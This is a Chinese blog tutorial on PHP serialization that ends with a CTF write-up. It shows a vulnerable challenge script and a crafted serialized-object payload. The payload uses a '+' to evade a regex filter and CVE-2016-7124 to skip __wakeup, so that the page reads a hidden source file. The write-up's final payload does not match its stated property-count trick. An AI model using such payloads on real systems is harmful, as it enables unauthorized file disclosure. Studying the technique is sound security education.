PHP反序列化漏洞绕过

一个挺不错的链接:https://www.cnblogs.com/Mrsm1th/p/6835592.html

0x01 原理

序列化与反序列化简介

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

例子

在本地搭建PHP环境,测试序列化和反序列化这两个函数的原理

1
2
3
4
5
6
7
8
9
10
<?php
$a = "hello world";
$b = array("hello","world");
$c = 12345678;
echo serialize($a);
echo "<br>";
echo serialize($b);
echo "<br>";
echo serialize($c);
?>

输出为:

1
2
3
s:11:"hello world"; // 序列化字符串
a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
i:12345678;

1
2
3
4
5
6
7
<?php
class hello{
public $d = "hello,world";
}
$test = new hello();
echo serialize($test);
?>

输出为:

1
O:5:"hello":1:{s:1:"d";s:11:"hello,world";}//序列化对象  首字母代表参数类型 O->Objext S->String...

PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP with
Yahoo! Web Services 一文中给出所有的字母标示及其含义:

1
2
3
4
5
6
7
8
9
10
11
12
a - array 数组
b - boolean 布尔
d - double
i - integer 整数
o - common object 对象
r - reference
s - string 字符串
C - custom object 自定义对象
O - class 类
N - null
R - pointer reference
U - unicode string

具体讲解见如链接 https://blog.csdn.net/iamduoluo/article/details/8491746

魔术方法

construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(),
sleep(), wakeup(), toString(), invoke(), set_state(), clone() 和 __debugInfo() 等方法在 PHP 中被称为”魔术方法”(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

1
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

序列化public private protect参数产生不同结果

1
2
3
4
5
6
7
8
9
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:”test”:3:{s:11:” test test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:” * test3”;s:5:”hello”;}

通过对网页抓取输出是这样的 O:4:”test”:3:{s:11:”\00test\00test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:”\00*\00test3”;s:5:”hello”;}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

CTF比赛题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
error_reporting(0);
class sercet{
private $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
echo show_source($this->file,true);
}

function __wakeup(){
$this->file='index.php';
}
}

$cmd=cmd00;
if (!isset($_GET[$cmd])){
echo show_source('index.php',true);
}
else{
$cmd=base64_decode($_GET[$cmd]);
if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){
echo "Are u gaoshing?";
}
else{
unserialize($cmd);
}
}
?>
//sercet in the_next.php

大致思路 首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class sercet{
private $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
echo show_source($this->file,true);
}

function __wakeup(){
$this->file='index.php';
}
}
$test = new sercet("the_next.php");
echo serialize($test); // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}
?>

绕过正则可以用+号 问题是如何绕过__weakup 百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:”sercet”:1: 也就是输入比1大的值就行 如O:6:”sercet”:2:

1
O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}

文章目录
  1. 1. 0x01 原理
    1. 1.1. 序列化与反序列化简介
    2. 1.2. 例子
  2. 2. 魔术方法
  3. 3. 序列化public private protect参数产生不同结果
  4. 4. CTF比赛题目分析
,